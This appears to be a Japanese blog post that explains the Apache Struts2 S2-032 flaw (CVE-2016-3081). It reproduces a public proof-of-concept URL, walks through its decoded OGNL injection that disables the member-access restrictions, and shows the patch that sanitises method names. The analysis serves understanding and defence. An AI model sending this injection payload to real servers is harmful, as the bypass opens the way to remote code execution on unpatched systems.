てきとうなメモ

本の感想とか技術メモとか

Apache Struts2の脆弱性(CVE-2016-3081)

JVNVU#91375252: Apache Struts2 に任意のコード実行の脆弱性

ぐぐるとみつかるPOCで1番簡単そうなのを解説してみる

http://www.example.com/sample.action?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23test%3D%23context.get%28%23parameters.res%5B0%5D%29.getWriter%28%29%2C%23test.println%28%23parameters.command%5B0%5D%29%2C%23test.flush%28%29%2C%23test.close&res=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=%23%23%23Struts2%20S2-032%20Vulnerable%23%23%23

脆弱性のあるStruts 2.3.28で作成したActionに対しDMIを有効にした状態でStrutsのActionのURLに上記のようなクエリパラメタつけてアクセスすると

###Struts2 S2-032 Vulnerable###

と表示される。

DMIって何かというとmethod:XXXとクエリパラメタに与えて上げると、ActionのXXXメソッドを実行してくれるというもの。単純にメソッドとして評価すれば良いのだが、何故かOGNL(Javaのオブジェクトを操作可能な簡易言語)を記述可能である。

上記POCのmethod:以下の部分をURLデコードすると以下になる

method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#test=#context.get(#parameters.res[0]).getWriter(),#test.println(#parameters.command[0]),#test.flush(),#test.close&res=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=###Struts2 S2-032 Vulnerable###

OGNLを知らないと分かりづらいので、これを1つずつ説明する。

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,

#は変数への代入や参照時に使う記号であり、@class@fieldは静的フィールドclass.fieldを取得する。_memberAccessはognl.OgnlContextのフィールドであり、OGNLを評価する時にどのような処理を許すかどうかを設定する。普通にアクセスしようとすると特定のクラスやパッケージへのアクセスを除外するようになっている。struts.xmlstruts.excludedClassesなどで指定している。例えば、java.lang.Runtimeなどにはアクセスできないようだ。

#test=#context.get(#parameters.res[0]).getWriter(),

parametersはクエリパラメタを表す。そのため、parameters.res[0]はcom.opensymphony.xwork2.dispatcher.HttpServletResponseである。contextはOGNLのコンテキストOgnlContextであり、コンテキストにおけるキーcom.opensymphony.xwork2.dispatcher.HttpServletResponseに対応する値はサーブレットのレスポンスオブジェクトでありそのWriterを取得している。

#test.println(#parameters.command[0]),
#test.flush(),
#test.close

クエリパラメタcommandの値を出力して、Writerをflush,closeしている。最後に()がついていないのはこれがDMIであるので元々XXXを指定した時にXXX()になるように()をくっつけるコードになっているためである。

で、今回の修正はOGNLとして評価する部分は修正しておらず、DMIで実行するメソッドのクリーンを実施している。

--- a/core/src/main/java/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java
+++ b/core/src/main/java/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java
@@ -136,7 +136,7 @@ public class DefaultActionMapper implements ActionMapper {
                 put(METHOD_PREFIX, new ParameterAction() {
                     public void execute(String key, ActionMapping mapping) {
                         if (allowDynamicMethodCalls) {
-                            mapping.setMethod(key.substring(METHOD_PREFIX.length()));
+                            mapping.setMethod(cleanupActionName(key.substring(METHOD_PREFIX.length())));
                         }
                     }
                 });
@@ -148,7 +148,7 @@ public class DefaultActionMapper implements ActionMapper {
                             if (allowDynamicMethodCalls) {
                                 int bang = name.indexOf('!');
                                 if (bang != -1) {
-                                    String method = name.substring(bang + 1);
+                                    String method = cleanupActionName(name.substring(bang + 1));
                                     mapping.setMethod(method);
                                     name = name.substring(0, bang);
                                 }

cleanupActionNameは以下のようなメソッド

    /** 
     * Cleans up action name from suspicious characters
     *
     * @param rawActionName action name extracted from URI
     * @return safe action name
     */
    protected String cleanupActionName(final String rawActionName) {
        if (allowedActionNames.matcher(rawActionName).matches()) {
            return rawActionName;
        } else {
            LOG.warn("Action [{}] does not match allowed action names pattern [{}], cleaning it up!",
                    rawActionName, allowedActionNames);
            String cleanActionName = rawActionName;
            for (String chunk : allowedActionNames.split(rawActionName)) {
                cleanActionName = cleanActionName.replace(chunk, "");
            }   
            LOG.debug("Cleaned action name [{}]", cleanActionName);
            return cleanActionName;
        }   
    } 

allowedActionNamesは[a-zA-Z0-9._!/\\-]*なので今回のOGNL式からは#や()などが削除される。そのためまともなOGNLとして評価されず例外が発生するようになっている。